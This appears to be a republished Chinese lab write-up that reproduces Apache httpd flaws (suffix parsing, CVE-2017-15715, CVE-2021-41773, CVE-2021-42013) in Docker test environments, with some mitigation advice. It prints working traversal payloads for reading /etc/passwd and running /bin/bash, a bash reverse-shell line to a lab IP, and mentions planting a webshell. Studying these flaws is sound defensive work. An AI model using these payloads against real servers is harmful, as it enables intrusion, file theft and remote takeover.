我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Apache漏洞复现

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Apache漏洞复现

目录


​该漏洞与用户的配置有密切的关系,严格来说属于用户配置问题。Apache文件解析漏洞涉及到一个Apache解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别。

如果运维人员给.php后缀的文件添加了处理程序 AddHandler application/x-httpd-php .php
那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。

  • 进入到apache_parsing_vulnerability漏洞目录,执行docker-compose up -d启动漏洞环境
    在这里插入图片描述
    在这里插入图片描述

  • 如果这里启动不了的话setenforce 0然后重启docker服务systemctl restart docker
    在这里插入图片描述

  • 访问靶机IP,看到如下页面
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • phpinfo.php.jpeg文件中的内容

  • 复制路径进行访问,成功查看到phpinfo的信息,说明上传的文件被执行
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 也可上传下方一句话木马配合菜刀、蚁剑等工具获得webshell
    在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  • docker-compose down关闭当前靶场

漏洞防御

在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问 (该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)

require all denied

将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式为.php的文件添加处理程序

SetHandler application/x-httpd-php

​httpd2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

在设置了 正则表达式 对象的 Multiline属性的条件下,$还会匹配到字符串结尾的换行符。所以如果在上传时,添加一个换行符也能被正常解析,并且能够绕过系统的黑名单检测。

  • 进入到CVE-2017-15715漏洞目录,执行docker-compose up -d启动漏洞环境
    在这里插入图片描述

  • 访问靶机地址,看到如下页面
    在这里插入图片描述

  • 尝试上传phpinfo.php文件,报错
    在这里插入图片描述
    在这里插入图片描述

  • 利用burp抓取文件上传数据包
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 将数据包放行在这里插入图片描述

  • docker-compose down
    在这里插入图片描述


漏洞防御

  • 升级到无漏洞的版本

  • 对上传的文件进行重命名

  • 上传时采用白名单的验证方式


​ Apache httpd Server 2.4.49版本引入了一个函数,在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符,当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在…/。如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测实现目录遍历。

但需要配合穿越的目录配置 Require all granted,攻击者可利用该漏洞实现路径穿越从而读取任意文件,或者在配置了cgi的httpd程序中执行bash指令,从而有机会控制服务器。

  • 文件读取 payload

  • /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述

  • 命令执行 payload

  • /cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash

  • 将请求方法修改为POST ,然后在请求体写入 echo;命令 将数据包放行即可

  • 反弹shell

  • echo;bash -c 'bash -i >& /dev/tcp/192.168.8.144/7777 0>&1'
    在这里插入图片描述

  • nc -vlp 7777监听端口7777
    在这里插入图片描述

  • docker-compose down


Apache HTTP Server2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

  • 启动CVE-2021-42013靶场
    在这里插入图片描述

  • 文件读取payload

  • /icons/%2%65%2%65/%2%65%2%65/%2%65%2%65/%2%65%2%65/etc/passwd
    在这里插入图片描述

  • 命令执行payload

  • /cgi-bin/%2%65%2%65/%2%65%2%65/%2%65%2%65/%2%65%2%65/bin/bash

  • echo;bash -c 'bash -i >& /dev/tcp/192.168.8.144/7777 0>&1'
    在这里插入图片描述

  • nc -vlpkali监听端口7777
    在这里插入图片描述

  • 命令执行时操作方法与 CVE-2021-41773 相同
    在这里插入图片描述

  • docker-compose down

来源地址:https://blog.csdn.net/weixin_46065653/article/details/127299146

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Apache漏洞复现

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

apache log4j漏洞怎么修复

Apache Log4j漏洞的修复方法如下:1. 更新Log4j版本:更新Log4j至2.16.0或更高版本,该版本已修复漏洞。2. 关闭JNDI功能:在Log4j的配置文件中,将JNDI功能关闭,可在log4j2.xml文件中添加如下代码
2023-06-12

Apache log4j2-RCE漏洞怎么修复

修复Apache log4j2-RCE漏洞的方法如下:1. 更新log4j2版本:确保使用的是log4j2的最新版本,其中包含了修复漏洞的补丁。可以从Apache官方网站或Maven中央仓库下载最新版本的log4j2。2. 检查依赖库:检查
2023-08-18

Apache log4j2-RCE 漏洞复现及修复建议(CVE-2021-44228)

Apache log4j2是一款流行的Java日志库。CVE-2021-44228是log4j2中的一个远程代码执行(RCE)漏洞,该漏洞允许攻击者通过构造恶意的日志消息来执行任意的代码。漏洞复现:1. 下载并安装Apache log4j2
2023-08-17

phpStudy poc漏洞复现以及漏洞修复办法

phpStudy于近日被暴露出有后门漏洞,之前的phpStudy2016,phpStudy2018部分版本,EXE程序包疑似被入侵者植入木马后门,导致许多网站及服务器被攻击,被篡改,目前我们SINE安全公司立即成立phpStudy安全应急响
2023-06-03

Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

一、漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我
2022-06-04

Apache HBase 出现信息泄漏漏洞怎么办

小编给大家分享一下Apache HBase 出现信息泄漏漏洞怎么办,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!Apache HBase 因为远程拒绝服务、发现信
2023-06-17

「漏洞预警」Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现

漏洞描述Apache Flink是一个用于分布式流和批处理数据的开放源码平台。Flink的核心是一个流数据流引擎,它为数据流上的分布式计算提供数据分发、通信和容错功能。Flink在流引擎之上构建批处理,覆盖本地迭代支持、托管内存和程序优化。近日有安全研究人员发
「漏洞预警」Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现
2017-10-17

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录